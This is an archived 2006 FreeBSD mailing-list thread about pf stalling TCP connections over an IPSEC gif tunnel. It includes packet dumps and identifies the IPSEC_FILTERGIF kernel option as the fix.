Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Sun, 7 May 2006 01:14:13 +0400 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: IPSEC tunnel problem thread-index: AcZvnMHHnY+yeEvlQp681OnHEpDCeQAJV1LgABvjK2AASAjcUA== From: "Dmitry Andrianov" To: Subject: FW: IPSEC tunnel problem X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 May 2006 21:15:46 -0000 Hello freebsd-net, I had a problem with IPSEC which is actually already solved on freebsd-pf thanks to list members. I'm forwarding "a solution" here because when I was google-ing for a solution I found similar problems on this list as well. And it looks like these are still unanswered. Examples are: IPSec session stalls ( http://lists.freebsd.org/pipermail/freebsd-net/2005-October/008745.html ) more on IPSec + gif stalling ( http://lists.freebsd.org/pipermail/freebsd-net/2005-October/008812.html ) Also there are still three issues I would like someone experienced take a look at before I start filling PRs :=3D) Regards, Dmitry Andrianov=20 -----Original Message----- From: Dmitry Andrianov=20 Sent: Friday, May 05, 2006 4:06 PM To: 'Daniel Hartmeier' Cc: 'freebsd-pf@freebsd.org' Subject: RE: IPSEC tunnel problem Ok, finally, IPSEC_FILTERGIF fixes the problem with stalling connections. Daniel, thanks a lot for your help. However I see at least three issues which needs to be handled somehow: 1. I believe that these days FreeBSD+pf becomes very popular configuration and the fact that system does not work out of the box in this configuration and requires some tricks is not a good sign. My personal opinion is that IPSEC_FILTERGIF just should be on by default. Or at least IPSEC section of FreeBSD handbook should say something about it. Making kernel option on by default has advantage because there are many places with IPSEC how-to on Internet and it is not possible to fix all of them. So the question is should I fill doc/* PR or kernel/* PR for that? 2. Why the router replies with ICMP host-unreachable to the TCP packets with wrong state if block policy is set to "drop" and not "return"? 3. Below is the dump of packets how pf sees 3way handshake with IPSEC_FILTERGIF option 15:22:53.192253 rule 0/0(match): pass in on fxp0: 10.1.0.1 > 10.1.0.2: ESP(spi=3D0x00002708,seq=3D0x9b05), length 104 15:22:53.192267 rule 0/0(match): pass in on fxp0: 10.1.0.1 > 10.1.0.2: 192.168.10.176.2169 > 10.2.0.2.3389: S 327999972:327999972(0) win 32768 (ipip-proto-4) 15:22:53.192276 rule 0/0(match): pass in on gif0: 192.168.10.176.2169 > 10.2.0.2.3389: S 327999972:327999972(0) win 32768 15:22:53.192286 rule 0/0(match): pass out on fxp1: 192.168.10.176.2169 > 10.2.0.2.3389: S 327999972:327999972(0) win 32768 15:22:53.192436 rule 0/0(match): pass in on fxp1: 10.2.0.2.3389 > 192.168.10.176.2169: S 1559792967:1559792967(0) ack 327999973 win 65535 15:22:53.192445 rule 0/0(match): pass out on gif0: 10.2.0.2.3389 > 192.168.10.176.2169: S 1559792967:1559792967(0) ack 327999973 win 65535 15:22:53.192460 rule 0/0(match): pass out on fxp0: 10.1.0.2 > 10.1.0.1: ESP(spi=3D0x00002707,seq=3D0x18a4), length 104 15:22:53.193098 rule 0/0(match): pass in on fxp0: 10.1.0.1 > 10.1.0.2: ESP(spi=3D0x00002708,seq=3D0x9b06), length 96 15:22:53.193108 rule 0/0(match): pass in on fxp0: 10.1.0.1 > 10.1.0.2: 192.168.10.176.2169 > 10.2.0.2.3389: . ack 1 win 33580 (ipip-proto-4) 15:22:53.193116 rule 0/0(match): pass in on gif0: 192.168.10.176.2169 > 10.2.0.2.3389: . ack 1 win 33580 15:22:53.193123 rule 0/0(match): pass out on fxp1: 192.168.10.176.2169 > 10.2.0.2.3389: . ack 1 win 33580 Clearly, pf sees each packet coming from the tunnel as four (ESP in on WAN interface, ipencap in on WAN interface, in on gif and out packet on LAN interface) while only three packets for data coming from LAN to tunnel. For me this has two disadvantages: * I have to allow ipencap between endpoint in firewall, otherwise decapulated IPSEC packet gets blocked. I do not like this thing because it will also allow someone sending ipencap packets with spoofed source easily. * It is just a bit inconsistent - I would prefer either seeing none of ipencaps (in and out) or seeing them both. I could fill PR about that one too, but I'm not sure what is the best way to propose. Regards, Dmitry Andrianov -----Original Message----- From: Dmitry Andrianov Sent: Friday, May 05, 2006 1:42 AM To: 'Daniel Hartmeier' Cc: freebsd-pf@freebsd.org Subject: RE: IPSEC tunnel problem Daniel, Looks like you are right. Below is dump from pflog0 interface of 3way handshake to 3389: 01:27:55.888031 rule 0/0(match): pass out on fxp1: 192.168.10.176.3809 > 10.2.0.2.3389: S 220200183:220200183(0) win 32768 01:27:55.888177 rule 0/0(match): pass in on fxp1: 10.2.0.2.3389 > 192.168.10.176.3809: S 1690303870:1690303870(0) ack 220200184 win 65535 01:27:55.888186 rule 0/0(match): pass out on gif0: 10.2.0.2.3389 > 192.168.10.176.3809: S 1690303870:1690303870(0) ack 220200184 win 65535 01:27:55.888884 rule 0/0(match): pass out on fxp1: 192.168.10.176.3809 > 10.2.0.2.3389: . ack 1 win 33580 Packets coming from the VPN only appear as "out" packets on LAN ethernet. While packets coming from LAN appear as "in" packets on ethernet and "out" packets on gif. I assume this is because my kernel was not build with=20 # Set IPSEC_FILTERGIF to force packets coming through a gif tunnel # to be processed by any configured packet filtering (ipfw, ipf). # The default is that packets coming from a tunnel are _not_ processed; # they are assumed trusted. # # IPSEC history is preserved for such packets, and can be filtered # using ipfw(8)'s 'ipsec' keyword, when this option is enabled. # #options IPSEC_FILTERGIF #filter ipsec packets from a tunnel Well. I knew about this option before but I thought it makes sense only when I want filtering packets on gif0 which I currently do not. I never realized absence of that option may break something else as happened in my case. Tomorrow will rebuild kernel and re-run my tests. To me things like that are subject for FAQ or even better - should be on by default. IMHO. Regards, Dmitry Andrianov =20 -----Original Message----- From: Daniel Hartmeier [mailto:daniel@benzedrine.cx] Sent: Thursday, May 04, 2006 8:40 PM To: Dmitry Andrianov Cc: freebsd-pf@freebsd.org Subject: Re: IPSEC tunnel problem On Thu, May 04, 2006 at 08:03:55PM +0400, Dmitry Andrianov wrote: > May 4 19:52:53 vrn1 kernel: pf: BAD state: TCP 10.2.0.2:3389 > 10.2.0.2:3389 192.168.10.100:1919 [lo=3D4162748520 high=3D4162681620 > win=3D65535 modulator=3D0] [lo=3D0 high=3D65535 win=3D1 modulator=3D0] = 2:0 PA=20 > seq=3D4162748520 ack=3D0 len=3D632 ackskew=3D0 pkts=3D245:0 = dir=3Dout,fwd The 'dir=3Dout,fwd' part means that the state was created from a packet going out on the interface (gif0, I assume), and that the packet being blocked here was in the same direction. The 'pkts=3D245:0' part means that the state entry has so far matched = 245 packets flowing in the same direction (out), but 0 in the reverse direction (in). And that's the problem, pf is not associating replies with the state entry. Because of that, the state entry does not advance its sequence number window (advertised in the replies), and eventually stalls the connection. This is probably related to the gif interface. I haven't tried it on FreeBSD, but for stateful filtering, it would be important that pf sees packets in both directions on that interface (i.e. SYN outgoing, SYN+ACK incoming, etc.) You can test what packets pf sees in what direction on an interface by replacing the ruleset with a single rule like pass log all and observing pflog0 (with tcpdump, for instance) while establishing a connection. If only packets of one direction are seen (or both outgoing and incoming packets are seen as having the same direction), there might be a problem with pfil hooks in gif. Daniel